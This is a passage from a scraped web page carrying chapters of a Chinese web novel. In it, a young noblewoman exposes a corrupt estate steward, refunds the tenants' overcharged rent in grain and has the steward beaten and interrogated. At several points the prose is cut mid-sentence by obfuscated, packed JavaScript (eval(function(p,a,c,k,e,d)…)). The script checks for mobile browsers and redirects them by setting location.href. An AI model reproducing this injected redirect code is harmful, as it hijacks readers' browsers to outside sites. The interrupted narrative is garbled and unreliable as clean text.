“你说什么?”关怀素第一次听说如此荒诞的规矩,丁妈妈搬了凳子来,她抚了一下裙子坐下,听到白管事的话,冷笑一声说,“这家里怕小主子站不住,不许太多繁文缛节,免得伤了小辈的福分,加则以示给老人家尊重,对伺候的老人,确实会抬举一些……但是可没说主子家里的人还得认奴才做长辈的规矩。” 关怀素盯着白管事问:“白管事,你如今敢说这个话,他日我一定要问一下祖母……你为何竟敢自称我的长辈,这里面可有什么讲究不成?!” 这话说的可谓是诛心! 毕竟这话说的不好听一点,一个家生子竟然敢妄图以长辈自称……当年可是牵扯到什么阴私?那老夫人敢这么偏帮一个下人,难道真是当年有什么?! 更何况这白管事贪花好色,祸害了一堆大姑娘小媳妇,名声极坏,自己也不讲究,多年下来也没个媳妇。 这话好说,可不好听。 “你、你!”白管事没想到,之前被他几句话骂的只知道哭的大姑娘,居然突然如此牙尖嘴利,而且最可怕的是大姑娘居然一下子从阴私出发,让他竟然是真的一点也不敢再多拿老夫**压这个小主子了! 但是白管事心中愤懑,他素来把庄子当自己的后花园,想如何就如何,且大姑娘来住了几个月,还不是要看他的脸色? 这种主人翁一般的自得和满足早已经让白管事失去了忍让能力,他不敢再拿老夫**压关怀素,却依然还是不肯低头认错,只梗着头想着要用什么办法先把这一关过了。 但是也轮不到他继续想下去了,因为关怀素并不想与白大管事继续纠缠下去,只冷声说:“丁妈妈,一人拉出去打十板子,让白大管事醒醒脑子!” “是!姑娘!”丁妈妈大喜,立刻高声回话。 小厮上前立刻拿人,中途白大管事还想说话,却被丁妈妈脱了布鞋就往他嘴里一塞,恶心的白大管事差点当场厥过去! 很快门外就架好了长凳,把人齐刷刷按下去,然后一人实打实的十板子,都是二十斤上了桐油封的铁木,小厮没收力气,实打实地十板子下去,白大管事养尊处优这么多年,直接就晕了过去。 丁妈妈转身回去回话,又问关怀素:“姑娘,接下来如何安置他们?都关在柴房吗?” “不用,放他们回去。”关怀素拿起一本账本躺在榻上继续看,一边冷声说,“等跛三那头状子准备好了再说。” “哎。”丁妈妈应了一声,出去安排了。 关怀素没说的是,等跛三是一回事,她另一个考量,是白大管事在这庄子上经营十几年,她接手才半个月,总不能把所有白大管事的人都抽出来的。 总得给白大管事一点时间,让他活动活动,免得到时候庄子上没了人,若是有人使绊子或是通风报信什么的,到时候反而给她添麻烦。 当然,这些就没必要特地解释了。 反正这白大管事,看着就不像是能忍气吞声的人。 关怀素想,这几天庄子上,少不得可能得闹腾几天了。 第十章 奸计 关怀素想得没错,白成才被打了十板子,回去之后,发现自个儿屋子被陈渠占了,气得咬牙。 偏身上伤得厉害,白成才咬牙在干儿子屋子里躺了三天,期间召集心腹,问他离去之后发生了什么事儿。 “你说什么?!她把我墙里的钱和账本都拿走了?!”听到关怀素做了什么之后,白成才登时唬得差点跳起来! “完了、完了……”白成才吓得趴在枕头上,冷汗津津地滴下来。 “干爹!”白成才干儿子见他如此惊恐,也十分害怕,忙问,“干爹,到底咋了啊?!” 白成才六神无主地说:“我做的假账怕是被拿去了,大姑娘怕是拿住我的命门了,我只怕是要完了啊!” “那怎么办啊干爹?!”白成才干儿子跟着他,也只会吃喝玩女人,自然顶不住什么事儿,这会儿不但不能出主意,反而朝白成才问起办法来。 “滚!你这个不中用的东西!”白成才心中气急,骂完想了一会儿,心中有了决断。 “账本子拿到了又如何,顶多是我收的赋税多些,那又怎么样,这事儿我在老夫人那儿是过了明路的,至于那些钱财、那些钱本来就是要交给老夫人的,是庄子上放贷的本钱……对对,这些都说得通了!”不得不说,逼到极限之后,脑子确实转得快许多,白成才越说越是心中大定。 对,他实在是不需要多担心,那账本子也不是什么人都会看的,尤其是深闺里大门不出二门不迈的大家闺秀,只怕连鸡蛋能卖几个钱都不知道,就算拿到账本定然也看不出什么问题! 更何况大姑娘性子极其懦弱不说,也似乎从未学过管家,这样一个小姑娘,哪怕被欺负的狠了闹起来,也不足为惧。 想到这里,白管事立刻又振奋起来,冷哼一声对着吓得鹌鹑一样的干儿子呵斥:“杵在这里做什么?难道就让人白打了一顿不成?这事儿我们必须去找回场子!” “还怎么找啊?惊扰了大姑娘,万一到时候抓起来再打几板子咱们可受不住啊……”干儿子说到一半,气的白管事恨不得踹他一脚,锤床怒斥,“你这个没用的东西!一个十几岁的黄毛丫头就把你钳制住了?!” 骂了一顿,看到干儿子和一干心腹都一副怕事儿的样子,气的白管事火气冲头。 “没事儿找姑娘的麻烦作甚?!”白成才虽然生气,但是这会儿指望他们,也只能耐心教他们,“我还是大管事呢!大姑娘不分青红皂白地就收了我所有东西,这庄子如今的主子可是老夫人,咱们难道不该把这事儿告诉老夫人?!” 这话一出,所有人都兴奋起来! “对哦!庄子如今可是老夫人的!”手下顿时兴奋起来,白管事立刻吩咐,“你们去找两个人,别惊动大姑娘,悄悄出去赶快去京师里给老夫人送信!” 吩咐完,又说:“我们也不能坐以待毙,不过是个十几岁的小娘皮,难道还真的听她使唤,日后唯她马首是瞻不成?我们答应老夫人也必然不会答应!” 白大管事这么一说,众人都顿时打起精神来。 他非要给大姑娘一点教训不可,这顿板子可不是好打的! 白成才转瞬便想清楚,冷笑一声,说:“她一个大门不迈二门不出的小丫头,还不是全仰仗下头人办事儿?陈渠那小子贸然接手一个庄子上大大小小的杂事,定然不能面面俱到……我们就往这地方下手,给她点颜色看看!” 几个小厮听着也觉得很不错,顿时兴奋起来,连连点头,那干儿子就说:“对!干爹,我们让柴房不给他们送柴火!哎呀!干爹你为啥打我?!” 白管事怒声说:“你这蠢货闭嘴!在庄子上这么办事,先不说能难为谁,就说你这样做事儿,转头就能被拉去大家一起打板子!” “大管事的意思是……咱们去村里找点事儿?”好在一堆草包里头,还真是有脑子灵光一点的,这会儿琢磨出了白管事的意思,就问出来。 白管事露出了欣慰的神色,转怒为喜说:“对!” 他脸色阴沉下来,冷笑着说:“明儿去庄子上通知两村再交六成租,就说是大姑娘说的,先头的租子不算,如今是大姑娘接手,交到其他人手上的大姑娘都不认!都重新交!” 说完,越想越是十分满意,白成才忍不住大笑出来。 **,他这儿刚商议好,那边已经有小厮报上去,很快就到了关怀素面前。 “姑娘,可需要我派人盯着些白成才?”陈渠也在旁边听着,看小厮拿了赏钱欢天喜地下去,立刻问,“那两个找老夫人的小厮,我已经派人拿下了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183286|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “盯着点,看看白成才到底要做什么。”关怀素冷声说。 关怀素并不在意白成才所作所为,但是白成才的行为里释放出的信息让关怀素非常愤怒。 因为这代表了,老夫人、姐姐的亲祖母,一点也不关心姐姐的处境,哪怕是伪装的关心都没有。 白成才绝对不是蠢货,他是老夫人的心腹,而心腹所作所为,通常是代表了主子的意思。 不管主子表面上说什么话,那都是虚的,想看出他们真正的态度,就看他们心腹的行为。这句话是祖父当年教关怀素管家的时候说的第一句话,而关怀素一直铭记于心。 她倒要看看,白成才敢做到什么地步。 关怀素想着,问陈管事:“先头我让你安排的,清理仓库、重新登记造册,还有购买今年的新粮的事情,安排得如何了?” “回姑娘,最近我一直在忙这事儿,幸不辱命,如今按姑娘说的,已经买好了今年新产上等粳米四百石左右……只是今年虽米粮丰产价贱,但是最近粳米价又比年头涨了二十多钱,前后花用贵了百两白银左右……”陈渠说到这个有些紧张,连声说,“姑娘,咱们庄子上粳米产出不多,都是中下等粮,若是更一般的作价都快便宜一半了……姑娘何必非买上等粳米呢?” 关怀素看陈渠一副肉疼的样子,笑了一下,说:“无事,大家伙儿这些年都不好过,给他们上等粳米,若是家里地少人多的,换成去岁陈米,好歹也能全家饱足。” 这样就算是今年庄子上的产出愈发不成或是家里人多、遭了积年盘剥后得了这笔,至少熬到下一茬稻子收下来前,也能人人吃上干饭。 若是勤俭一些,还能给家中老人幼子备些细粮吃。 这话关怀素没说出来,但是陈渠显然瞬间就懂了。 他不再劝说,只深深地对关怀素行礼,说:“姑娘仁善。” “罢,东西到了就好,备了马车,明儿一早就赶紧去给大家退粮食吧……”关怀素说着,却突然听到门口传来紧张奔跑的声音。 “姑娘!不好了!刚才我哥哥跑来庄子上,说村里人拿了家伙事,要来庄子上**!”小荷跑得脸色惨白,呼哧呼哧喘着气,连声对关怀素说。 “什么?!”屋里人都是一惊。 第十一章 退粮 “白管事突然跑到村里,说是大姑娘说了这庄子换主人了,先头交的租子不作数,必须重新交六成地租!大家伙儿都说活不下去了,拿着锄头之类的都来了……”小荷不敢大喘气,一口气把事儿全数说清楚。 “这、这……白成才这王八蛋!”陈渠气得脑门上都是汗,吓得声音都变形了,连声呵斥,“他居然敢这样挑拨佃户!” 而且也是他没防备,都没派人过去跟着,谁想到白成才受了伤,居然这么快就去**了! “姑娘,乡下人粗鲁,要不要先离开庄子上避避风头?!”丁妈妈也吓到了,这几十上百号人过来围住庄子,若是处理不好,弄不得就得出大事! 说完,丁妈妈就想着快些收拾一下屋里的东西赶紧走,关怀素却是笑了一下,说:“跑什么?来得正好!” 看两人呆滞,关怀素冷笑说:“陈渠,让人把仓库里的粮食全搬到庄子大门口,在外头那廊下放书桌纸笔。丁妈妈,小荷,和我一起换衣服,拿好账本子!” “姑娘?”陈渠和丁妈妈十分惊慌,一时完全没弄明白关怀素想做什么。 “我本就打算给他们退租,如今不过提前几天罢了。怕什么?快去准备就是!”关怀素说着,已经进屋打算换衣。 “可是姑娘,人那么多,万一**……”陈渠紧张地说,“这稍有不慎,姑娘可能真的会有性命之危啊!” “你们要是怕了,就去叫些不怕的人顶上,别耽误时间了!”关怀素却没时间和他们继续解释,只进屋去利索地换衣服,丁妈妈还在惊恐万分,小荷却冲到屋里,帮着关怀素收拾换衫。 关怀素进屋之后就利索地开始挽头发,除了额前一点额间碎发,后头头发全都梳起来,用一块大棉布头巾包着,成了利索的包髻。 跟着就换衣服,把裙子换下来,换了身旧棉布窄袖长裤,又把外头的四片裙扎在腰间,只留在膝盖上。 这么一打扮,方才明艳的大家闺秀就全然不见了,仿佛是村中随处可见的村姑一般。 她换完催促小荷和丁妈妈,二人见她主意已定,也便立刻匆匆换了衣衫。 二人的衣裙都是补丁挪补丁,三人如今看着像是村里的一家三代人。 匆匆赶到外院,一进院子,就听到围墙外头满是喊打喊杀的声音。 陈渠带着几乎所有小厮都拿着棍子、锄头等东西站在门口,门口门闩挡着不说,还挪了几个巨大的柜子等顶住。 众人全都一脸惊恐,根本不敢开门。 看到关怀素打扮成这样,陈渠立刻上前紧张地说:“姑娘你看,外头已经成这样了,咱们若是开门,只怕顷刻之间就是大祸临头啊!” 关怀素也知道,此时这样出去不理智,她就说:“找个嗓门大的人,我说一句,对外头喊一句。” 只要不让立刻开门就好! 陈渠立刻回头,转头了个小厮上前。 “第一句,对外头说,诸位乡亲是来领退的四成租子吗?每家每户需得当家人来领,且必须列队,一个一个来。不按规矩的,不退租子。喊三遍。”关怀素开口,对那小厮说。 “哎!”小厮答应完,立刻对外面大吼起来,声音果然洪亮,哪怕外面喊打喊杀的声音震天响,也毫不逊色。 第一遍,外面的声音并未被影响。 第二遍,许多声音小了下来。 喊完第三遍,外面已经没有什么喊打喊杀的声音了,但起哄鼓噪的声音依然不绝。 “问外面,村长在哪里?”关怀素又对小厮说。 小厮又开始喊,连喊了三遍,外头才有个粗声粗气的大汉大声回:“村长不在这儿!” “问他们,是不是白管事告诉他们,来领退的租子的,簸箕箩筐这些东西都带了没?”关怀素又低声说。 胖小厮对外头大喊三遍,到了此时,外头是彻底安静下来了。 “不是……白管事不是让我们交租吗?”外头那粗声汉子惊疑不定地问。 “开门!”关怀素觉得火候已到,立刻开口。 陈渠心中害怕,但是看关怀素站在那里,虽小小年纪,却有种凛然之意,按捺下惊疑。一挥手,让众小厮挪开重物、打开门闩。 门一打开,就看到门外站着一群衣衫褴褛的村里人,男女都有,俱都是十分瘦削、衣衫满是补丁。 自先皇开国到陛下继位,大夏这一二十年来都风调雨顺,便是关怀素长大的永年县里,寻常人家也能吃饱饭,却没想到皇城根脚下居然能看到这样凄楚的景色。 关怀素心中一酸,径直走到大门外的走廊处,对着廊下所有人躬身,深深行了一礼,然后她大声说:“诸位,先给各位父老赔个不是!当年我祖父得先皇赐下皇庄,就亲口承诺,佃租永不过二成!前些年,因我年幼不知事,家中长辈代为管这庄子,却没想到下人居然背着我们悄悄在庄子上大肆盘剥,到了前几日我才知道这件事情……这事,是我们关家人对不住各位乡亲,我在此给大家赔不是!” 她这打扮本来就让外头人顿时惊了一下。若是她打扮得富贵,外头那些佃户被盘剥多年,说不定这会儿真的一时愤怒,真的会突然出手攻击。 但是这院墙大门一打开,里面走出一个村里常见打扮的年轻少女,大家当然不会第一时间愤懑,就愣住了一下。 哪怕是被夹在里面准备挑事儿的人,也是被弄得糊涂了一下,忘了说话,这就给了关怀素时间。 这一礼下来,众人哪里遇到过这种事儿?顿时反而手足无措起来。 “这、这……姑娘真不是让我们交租子的?”站在前面那个看着最高壮的汉子就忍不住惊疑地问,“可是白大管事说……” “白成才盘剥庄户,我昨日才派人禀告祖母此事!他大概是知道了,没想到竟然如此胆大包天,竟趁势假传我的意思,看来他是想临走还想勒索乡邻一把再跑!得亏你们来问,否则我关家岂非又因他背负一桩罪孽?真是多谢大家前来!”陈渠震惊地看着大姑娘一脸镇定地说完,再次行了一礼。 三言两语的功夫,竟然把庄户**的事情消弭于无形不说,还把这些人架在了高台上。 起码陈渠看到大部分人都把锄头放下了,脸上都惊疑不定的样子,还有人讷讷地侧身,不敢受大姑娘的礼。 白大管事聪明嚣张十几年,只怕是真正要栽个彻底了,陈渠这一刻终于确信这一点。 果然就只听那边关怀素又说:“大家今儿既然来了,干脆就把退租的事情办了,各家可带了箩筐扁担?粮食已经在院子里了,大家伙儿备好,就可以来领退的租子了。” “这……真的给退四成租子吗?”领头那个男人不敢置信地再次确认。 “有关家人在,佃租永不过二成!这是我祖父立下的规矩!”关怀素扬声说,“各位,如今关家后人接手,此例永不更改!先前是我年幼无暇顾及,委屈大家了!” 她说完,身后众人离开摆好桌案,小厮们也抬着一袋袋粮食出来,早备好的箩筐拿出来,一刀挑开粗麻线,金灿灿的谷子就往那箩筐里倒,一下子就闪花了门口所有庄户的眼睛。 “我、我带了背篓!我是陈二家的!”一妇人看得眼热,哪里还记得什么事儿,立刻拉着自己的男人出来,急匆匆地说,“我们可以领!” “好,一个个来,只要核对账目无误,就可以领退回去的米粮了。”关怀素笑着请他们到面前核对。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183287|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这媳妇子就拉着男人站在桌子前激动地等待,很快关怀素就找到了二人的名字,他们家的上田不多,种的稻谷也不过六亩,且这些年收成被糟蹋的厉害,退回来的四成租子是四石八斗。 这也不少了,要知道一个做活儿的男人放开了吃,一个月也才能吃不到一石米呢!这四石可都是米,加点豆子之类的一起煮的话,足够他们一家六口吃到下一茬收成了! 妇人和男人都是大喜,立刻按了手印,立刻走到廊下空地处,找陈渠递条子。 陈渠查验之后,再盖一个红戳,旁边小厮就开始量米,然后一袋一袋地搬谷子出来,四石八斗,加起来足足九袋半粮食。 未免有误差,每袋粮食还挑开了一点线,给两人检查都是上好谷子,这才确定结清。 两人看到满眼金灿灿的谷子,那妇人细细看了九袋半粮食,惊呼出声:“哎呀呀,这些谷子……竟都是上好的粳米啊!” 陈渠憋了半天,这会儿听到妇人发现,立刻大声说:“没错!姑娘说这些年她不在,大家都受了委屈,这回不但足足地退佃租,还都选的上等粳米,姑娘说了,家里有老人孩子的,留着吃也行,若是家里人多的,这粳米拿去换,也能多换些粮食!” 众人本看到二人领了粮食就激动不已,再听到妇人惊叫和陈渠的解释,一个个顿时羞愧不已。 那妇人和她男人也是如此,妇人立刻就恨恨地说:“都怪那白成才,差点让我等误会了姑娘!” “是啊是啊,姑娘不怕,我立刻便带人抓了那白成才来交给姑娘处置!”那领头的汉子当即就跪下来,大声说。 “那就有劳几位壮士了。”关怀素笑着应下。 那领头男人听到这里,立刻磕头,转身招呼了几个兄弟,安排家里的几个儿子领米粮,自己带着人就气势汹汹地杀出去了。 人群里,有几个人就神色紧张地躲开了视线。 都是与白成才关系好、仗着白成才总横行乡里的人,原先在人群里起哄的最厉害,这会儿却屁都不敢再放一个,只跟着打算领粮食。 一户户人家上前喜气洋洋地与她核对之后印上手印,而后便激动地拿着条子去找陈渠。 等到真正看着粮食被小厮搬出来清点,一袋袋地垒到了面前,在场不管男女老少,俱都激动地肩挑手提,飞快地往家里搬动起来。 有些家里地多的,甚至得挑两三趟才能运完! 这一退,两个村子,前前后后居然忙碌了四五天,才把各户多交的粮食全都放还完毕,而这事儿俨然已经成了八仙庄最大的热闹,许多人家甚至还特地自发跑来帮忙,帮着忙前忙后收拾各户退回来的粮食袋子、帮忙给驾陈渠放门口核对的桌凳,差点闹得小厮们都无事可做。 只关怀素在的廊下没人敢上前,但是见到她,都笑嘻嘻地对她行礼。 “若是我回家了还有这种事情,你们只管托人去京师李家找我,我定然不会姑息!”到最后,关怀素站在宅子门口笑着给父老们保证时,一些老人竟激动地痛哭出声。 “关家后人终于长大了,我们总算是盼到头了!” “想当年老先生在的时候,也是这样的好日子啊!” 村里连着炊火燃起来,家家户户舂米煮了干饭,于是便连小孩子都心中知道,是关家的人回来了,他们才又过上了吃上饱饭的日子。 一时之间,八仙庄内,人人庆幸关家后人回来,重新回到了八仙庄。 人心平稳,家家户户吃着干饭庆祝。 而忙完一切的关怀素,终于等到跛三风尘仆仆地带着一叠状纸回来,而关怀素也终于空出手,审问被村人抓回来后就一直关在柴房里的白成才。 第十二章 怒审白管事 白成才被拖出来时,还在虚张声势地大骂:“你们放开我,你们这些王八,吃着老夫人给的饭,却背主!我告诉你们,我已经把你们在庄子上乱来的事情告诉老夫人了!你们今儿若是动我,他日老夫人知道了,定然饶不得你们……哎呀!” 说到最后,白成才惨叫出声,却原来是被跛三当胸一脚,踹得他一个倒滚栽倒在地。 “混账……啊!”白成才滚了一圈,心窝子剧痛,没看清人就破口大骂,“哪个混账,居然欺负到你爷爷我头上了……” “**谁爷爷呢?!睁大你的狗眼看清楚你面前的人是谁!”跛三心中恨他至极,跛着脚上前就又是当胸口一脚,踹的白大管事差点没一口血吐出来! 这就算了,下一刻,跛三竟然还抓着他的头发,一把薅着他的头让他仰起头看自己。 “呵呵,我看清楚了,原来是月兰那**的种……”白成才知道今儿只怕是真的得不了好了,干脆开口挑衅地说。 跛三“**啪”上手就给他一顿耳光,甩完抓着他的头发,强迫他跪在地上,脸朝向廊下。 白成才被强拉着看过去,就看到二院夹道里面的照壁前面,那一丛修竹旁边,太师椅上头一个穿着白裙绿甲袄的年轻姑娘正端坐在上面,鹅蛋脸杏子眼,神情在修竹影影绰绰的光斑下看不清楚。 不是大姑娘又是谁? 白成才虽脸上强装镇定,但是他知道大姑娘居然退粮、安抚庄子上的人,甚至让庄户主动抓他和小厮回来之后,就心中早已经忌惮上了大姑娘。 并且他这几日其实也未必不后悔的。早知道这大姑娘平时看着好欺负,但是逼到极限居然这么狠的话,他就不故意刁难她了啊! 只是这会儿已经成了死仇,白成才知道求饶也没任何转机,只能强撑着说:“大姑娘,我早在五日之前已经派人去禀告老夫人庄子上的事情,算算时间,老夫人派的人应该在路上了……” 他话还没说完,门口就被拎进来两个人,白管事一看,不是他派去通风报信的小厮又是谁?! 关怀素端起茶盏,拨了拨茶沫,只漫不经心地对跛三说:“白管事说的可是这两人?” “那又如何!你不过一个小丫头,还能在庄子上横行一世不成?!最多几月你就得回去,老夫人照样能知道这事儿!你要是今儿对我动手,到时候老夫人定然不会饶你!”白管事惊恐地挣扎大声吼叫,也不知道是威胁关怀素,还是用来说服自己。 “哦?可是那都是几个月后的事儿了,如今这儿是我做主。”关怀素冷笑一声,说,“看来白管事还不明白现在的处境,让他清醒一下。” 跛三巴不得能有这个机会痛打杀害父母的仇人,听到关怀素一说,立刻上前,又是当胸一脚! 白成才十几年养尊处优,完全没有自以为那么抗揍,此刻又被踹一脚,疼得一口老血吐出来,心中已经害怕。 但是他还是不肯放弃,怒声大喝:“我可是你祖母的陪嫁下人!再大的事情也轮不到你一个小辈处置我!” “再打。”关怀素吹着热茶,对跛三说。 跛三可太愿意了,巴不得白成才一直这么下去,他立刻继续拳打脚踢。 直到关怀素在白成才的惨叫声中慢慢喝了一口茶,放下茶盏,跛三才停下来,又抓着白成才的头,让他跪着听训。 “你竟然如此折辱我,我定要告诉老夫人,让她治你不敬长辈之罪!”白成才苦苦坚持,被抓起来,继续说。 “再打。”关怀素只继续说。 在白成才的凄厉喊叫声中,关怀素甚至拿了卷书,略看了几页,继续让白成才说话。 而白成才只要嘴硬,甚至到最后来不及说话,关怀素便只说两个字。 “再打。” “再打。” “再打。” …… 如此重复到第六次的时候,白成才身上已经是一碰就疼得直哆嗦,他再也不敢嘴硬,吐出两颗带血的牙齿之后,连声大喊:“大姑娘,大姑娘饶命!” 关怀素这才放下手里的书,然后看向下头。 “大姑娘饶命,是小的不知死活,在庄子上胡咧咧,差点让人冲撞了大姑娘!”白成才终于被打怕了,他突然意识到了一件事情。 今儿不服软,大姑娘只怕真的敢把他打死!到时候哪怕老夫人知道又怎样,他已经**啊! 意识到这件事情之后,白成才终于再也不敢嘴硬,十几年养尊处优的心气,还有之前刁难大姑娘的那种优越感终于褪尽。 他终于意识到了,他就算再看不起大姑娘,如今生死却真的在对方手上,白成才终于彻底服气,连忙大喊。 “还是在避重就轻,你对我何止是今日冲撞?”关怀素微微冷笑一声,说,“再打!打到他好好说话为止!” 跛三一听,眼底闪耀出喜悦的光,立刻上前,抓着白成才又是几巴掌,直扇的白成才本来就红肿的脸更是肿得透亮,嘴巴里的牙齿也立刻又松动了几颗。 不但如此,跛三多年憋屈,好容易得了机会,下手是越打越狠,又是几脚还不过瘾,甚至上前用脚猛踹白大管事的头,打得白大管事瞬间头嗡嗡作响,只觉得天旋地转。 “大姑娘,我错了,是我小人得志,看大姑娘年轻,不把主子放在眼里!还去庄子上挑拨是非,让大家**,是小人错了,是小人错了啊!”白成才感觉得到,一开始跛三下手还有点分寸,可是随着大姑娘一直沉稳发话喊打之后,跛三下手越来越狠,到现在已经几乎完全不再有理智,他抱着头,生怕被活活打死,最后一丝侥幸也没了,白成才立刻大声求饶起来。 关怀素放下书,跛三喘着气,也强迫自己停下了脚,跛着脚慢慢地走到了旁边。 只剩白成才抱着头,在地上哭求。 “继续说,除了去庄子上挑拨庄户、撺掇**之外,你还有什么罪?”关怀素冷笑一声,开始问。 “还有、还有小的怠慢主子、欺负主子年幼、不给安排院子里烧饭煮水的下人,三日才送一回水,主子想吃点东西,推脱人手不够,故意不给上,还有……”白成才此刻哪里还敢顶嘴,只挖空心思不断想,生怕一句话没说好,真的被活活打死。 这些事情都是关怀素不知道的,关怀素大概猜到了姐姐日子不好过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“刮地三尺,你也知道刮地三尺?!”关怀素听到这里已经怒极,她冷笑一声,说,“感情你在外头坏主家名誉,为了自己的私利对着百姓刮地三尺,却还让我给你说多谢不成?!” 此话一出,白成才顿时无言以对,他满头都是汗,心中只想着用什么办法过了这关,却听到上头关怀素冷声说:“你也别想着去哪里搜刮钱财让老夫人保你了。除了贪墨钱财,我还找到了一些苦主,这里全是他们起的诉状。” 白成才一惊,就看到跛三拿了状纸过来,在他面前阴笑着展开。 白成才识得一些平常的字,只稍微看了一下,就看到些熟悉的名字。他两股战战,到这里才生出巨大的恐惧——这都是积年的老事儿了,大姑娘到底是什么时候就在查他、打算对付他了? 而他居然无知无觉,到了被人钉死的时候,才知道大姑娘开始就没打算给他任何生路! “**寡妇、殴打平民、勒索钱财、前前后后足足十三条人命……白成才,你死有余辜!”关怀素怒声拍桌,大喝,“我看老夫人保不保得住你!” 白成才看着眼前的状纸,心中知道他死定了…… 急火攻心,本身酒色财气就掏空的身子再也抵不住,白成才只翻了个白眼,直直晕了过去。 第十三章 传艺 “姑娘,什么时候把这些人都处置了?”白成才被死狗一样拉下去之后,丁妈妈在旁边好奇地问,又恨恨地说,“这些人留着也是白吃粮食,真不想给他们饭吃!” “先留着,再关半个月。”关怀素却如此吩咐。 庄子里外人人喜庆,只有陈渠心中暗暗惊惧,晚上心腹寻来说到采梨酿酒的时候,他便吩咐,不许做任何手脚。 “可这里头倒腾一下,再少也有四五十两白花花的银子呢!”心腹有些舍不得,有些迟疑地说,“再说您前几天不也答应了么?” 陈渠气的就是一巴掌呼在心腹头顶上,只让他敢干就别怪到时候自个儿不客气! 心腹不知道,陈渠前几日是动了心,管事儿怎么可能有银子不捞? 可这几日亲眼看着大姑娘谋定后动,面对白成才那毒计,陈渠都慌神了,姑娘却怡然不惧,不但把事情处理得漂亮,还一口一个关家人回来了…… 其他人看不懂大姑娘,但是陈渠却看得明白,这几日下去,庄子上的人心已经全倒向了关家。 这种谈笑之中收拢所有人的手段,实在是叫陈渠心中胆寒,自然再不敢动小心思。 这头,关怀素趁着梨丰收,很快教完了丁妈妈家人如何酿梨醋。 而后她抽出空来,便带着陈渠在庄子上的地里奔走。 然后陈渠发现大姑娘一路走着,就到了当年老先生设的通渠之处,等到了地方,只稍微看了一下接驳处的东西,大姑娘就上去敲敲打打一番,转头,那地方怎么都无法吻合的老木头就瞬间卡上去,严丝合缝。 “这些年,这些通渠居然荒废得差不多了。”陈渠听大姑娘说着,突然问他,“你父亲当年学的通渠、水道里,是还没学水车制作与维护,所以才荒废了这山上的稻田了吧?” “是。当初学到一半,老先生就辞官回乡了。”陈渠躬身回答,心中咚咚狂跳。 他有一个荒谬的想法,这不太可能。 大姑娘在闺阁之内长大,怎么可能会工匠技艺呢? 但是陈渠又忍不住期待。 然后他听到大姑娘说:“要不要我教你?” 陈渠一愣。 然后他猛地双膝及地,重重一磕头,激动地说:“陈渠,拜谢大姑娘!” 他父亲为他取名为渠,乃因八仙庄连绵几座山内都无明水,山上浇灌极其困难,等到了关老先生来后,做了水车以及汲水水渠,从前头的山那头引了活水来,才把满山的薄田变成了肥田,从此能种稻谷。 可惜父亲技艺未成,老先生就走了。 当初父亲给他取名为渠,心中一直记得这件事情,耿耿于怀,临终亦不能释怀。 陈渠自小自恃聪明,心中也记得父亲的遗愿,未尝不是心中的一大心结。 没想到有朝一日,他竟然真的能圆了这个梦。 此时他跪在地上,在这一刻,他对大姑娘的感激到达了巅峰。 不为钱财、智慧压迫,只为这份与关老先生一样,愿把私人技艺教导与人的宽厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等到了庄子上,柳叶才从马车里钻出来,门口的新门子立刻从里面伸头出来,一叠声问:“姑娘哪里人,来八仙庄作甚?” 与之前风气天差地别。 “我是姑娘外祖父家中的丫鬟,奉老先生遗命,前来侍奉关家姑娘。”柳叶温声回答,里头门子立刻便传信过去,没一会儿,里头便有婆子带她进内院请安。 柳叶终于见到了心心念念担心着的姑娘。 姑娘看着又高了一点,但是看脸色并不如在永年县好。 想也知道,姑娘虽自小学了一身本事,但一个人在这地方步步为营,每一步都要仔细思量与筹谋,哪里比得上在永年县的无忧无虑呢? 关怀素一个人在八仙庄这段时间,短短一个半月,已经让八仙庄这些下人基本上都对她服服帖帖,也把各种大事小事安排得差不多。 关怀素一点也没觉得疲惫,只是等到看到柳叶的这一刻,关怀素才猛然从心底深处生出了一股子疲惫来。 “姑娘!”柳叶过来行礼的时候,关怀素拍着她,温声说,“来了就好。” 两人一见,便说一下午的话。 关怀素先是细细问了关于姐姐下葬的事情。听说姐姐下葬用的是上好的楠木,是祖父当初走的时候打棺木剩下的木材,又请了大师做了七七四十九日道场,关怀素心中才放下心来。 可是还没来得及想别的,就听到柳叶说,钟妈妈与他们一起上京了。 只是顾忌庄子上有早年老人,怕认出她,才没来八仙庄,只在京师附近县城里打算赁个屋子住着。 “岂有此理!你和师兄怎么也不劝着她点?!”关怀素一惊,立刻皱眉说,“钟妈妈都已经这个年纪了,身体又不好,怎么如此胡闹!” 